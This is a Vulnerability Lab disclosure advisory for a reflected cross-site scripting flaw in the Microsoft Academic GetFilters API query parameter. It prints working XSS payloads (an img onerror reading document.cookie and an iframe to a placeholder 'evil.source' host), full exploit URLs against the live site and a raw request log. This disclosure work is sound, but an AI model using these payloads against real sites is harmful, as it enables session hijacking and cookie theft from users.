Acadmic Microsoft - API Query Filter Cross Site Scripting Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
Acadmic Microsoft - API Query Filter Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2056

MSRC ID: 0001010174


Release Date:
=============
2018-01-20


Vulnerability Laboratory ID (VL-ID):
====================================
2056


Common Vulnerability Scoring System:
====================================
3.2


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Microsoft Academic is a free public search engine for academic publications and 
literature, developed by Microsoft Research. 
Re-launched in 2016, the tool features an entirely new data structure and 
search engine using semantic search technologies 
and it currently indexes over 150 million entities. The Academic Knowledge API 
offers information retrieval from the 
underlying database using REST endpoints for advanced research purposes.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Microsoft_Academic )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a client-side 
vulnerability in the official Microsoft Academic online service web-application.


Vulnerability Disclosure Timeline:
==================================
2017-04-09: Researcher Notification & Coordination (Benjamin Kunz Mejri - 
Evolution Security GmbH)
2017-04-10: Vendor Notification (Microsoft Security Response Center Team)
2017-04-11: Vendor Response/Feedback (Microsoft Security Response Center Team)
2018-**-**: Security Acknowledgements (Microsoft Security Response Center Team) 
- Unresponsive  ??!
2018-**-**: Vendor Fix/Patch (Microsoft Service Developer Team) - Unresponsive  
??!
2018-01-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Microsoft Corporation
Product: Academic - Online Service (Web-Application) 2017 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting vulnerability has been discovered in the 
official Microsoft Academic online service web-application.
The vulnerability typ allows remote attackers to inject own malicious script 
code to client-side browser to application web requests.

The cross site scripting vulnerability is located in the api of the 
web-application. Remote attackers are able to exploit via vulnerable 
`api/search/Getfilters` to byoass the current xss restriction filter. Thus 
allows the remote attacker to inject and execute client-side 
cross site scripting payloads. The request method to inject is GET and the 
attack vector is non-persistent. 

The security risk of the cross site vulnerability is estimated as medium with a 
cvss (common vulnerability scoring system) count of 3.2. 
Exploitation of the client-side cross site vulnerability requires no privileged 
web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, 
non-persistent phishing attacks, non-persistent external redirects 
to malicious sources and non-persistent manipulation of affected or connected 
application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] /api/search/Getfilters

Vulnerable Parameter(s):
[+] query

Affected Module(s):
[+] Current XSS Filter Protection


Proof of Concept (PoC):
=======================
The client-side cross site vulnerability can be exploited by remote attackers 
without privileged user account and with low user interaction.
For security demonstration or to reproduce the security vulnerability follow 
the provided information and steps below to continue.


PoC: Manual
1. Attackers can bypass the xss filter by using this payload through query api 
system. 
"%40%27%3E%3Cimg%20src=evil.source%20onerror=prompt(document.cookie)%3E%40"
2. Attackers can use the current url to execute the prompt dialog with 
successful response of xss payload execution


PoC: Exploitation
https://academic.microsoft.com/api/search/GetFilters?query=%40%27%3E%3Cimg%20src=evil.source%20onerror=prompt(document.cookie)%3E%40&correlationId=undefined
https://academic.microsoft.com/api/search/GetFilters?query=%40%27%3E%3Cimg%20src=evil.source%20onerror=prompt(document.domain)%3E%40&correlationId=undefined


PoC: Vulnerable Source
{
"message": "No HTTP resource was found that matches the request URI 
'https://academic.microsoft.com/api/search/GetFilters?query=%40'><<><iframe src 
http:%2F%2Fevil.source><%2Fiframe>%40&correlationId=undefined'."
}


--- PoC Session Logs [GET] ---
GET 
/api/search/GetFilters?query=%40%27%3E%3C%3Ciframe%20src%20http%3A%2F%2Fevil.source%3E%3C%2Fiframe%3E%40&correlationId=undefined
 HTTP/1.1
Host: academic.microsoft.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Referer: https://academic.microsoft.com/
Cookie: 
utag_main=v_id:015b543cdafd00b14436aadab8900104400390090086e$_sn:1$_ss:0$_st:1491768750447$ses_id:1491766926079%3B
exp-session$_pn:2%3Bexp-session; s_norv=1491766950419-New; 
s_vnum=1493611200871%26vn%3D1; s_invisit=true; s_dslv=1491766950423; 
s_dslv_s=First%20Visit; s_ppn=mpdacad%3Aen-us%3Aregister; 
s_ppvl=mpdacad%253Aen-us%253Alogin%2C100%2C89%2C643%2C1355%2C621%2C1366%2C768%2C1%2CP;
 
s_ppv=mpdacad%253Aen-us%253Aregister%2C100%2C92%2C675%2C1355%2C621%2C1366%2C768%2C1%2CP;
 s_fid=2DCC642E0324D787-3D30FA055450DC93; 
s_cc=true; 
s_sq=msstompdacad%3D%2526c.%2526a.%2526activitymap.%2526page%253Dmpdacad%25253Aen-
us%25253Aregister%2526link%253DSign%252520up%252520with%252520Microsoft%252520account%2526region%253Dmain%2526pageIDType%253D1%2526.
activitymap%2526.a%2526.c%2526pid%253Dmpdacad%25253Aen-us%25253Aregister%2526pidt%253D1%2526oid%253DSign%252520up%252520with%252520
Microsoft%252520account%2526oidt%253D3%2526ot%253DSUBMIT; 
AMCV_EA76ADE95776D2EC7F000101%40AdobeOrg=
-179204249%7CMCMID%7C28933220378893493633963593270039587370; 
MSFPC=ID=d9c52c60bfa3454780dd8fed1ee6d500&CS=1&LV=201704&V=1; 
msacademic=da629bfe-3e6a-4e63-8c85-d684ae83d1d6
Connection: close
-
Response:
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Sun, 09 Apr 2017 12:55:23 GMT
Connection: close
Content-Length: 230



Reference(s):
https://academic.microsoft.com/
https://academic.microsoft.com/api/
https://academic.microsoft.com/api/search/
https://academic.microsoft.com/api/search/GetFilters


Solution - Fix & Patch:
=======================
2018-**-**: Security Acknowledgements (Microsoft Security Response Center Team) 
- Unresponsive


Security Risk:
==============
The security risk of the non-persistent cross site scripting web vulnerability 
is estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer 
(http://lawrenceamer.me) 
Profile: https://www.vulnerability-lab.com/show.php?user=Lawrence Amer


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of 
business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not 
approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for 
criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- 
hacker/analyst/researcher groups or individuals. We do not publish trade 
researcher mails, 
phone numbers, conversations or anything else to journalists, investigative 
authorities or private individuals. 

Domains:    www.vulnerability-lab.com           - www.vulnerability-db.com      
                                - www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab 
                                - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, 
resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is 
granted. All other rights, including the use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website is 
trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, 
modify, use or edit our material contact (admin@) to get an ask permission.

                                    Copyright © 2018 | Vulnerability Laboratory 
- [Evolution Security GmbH]™

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com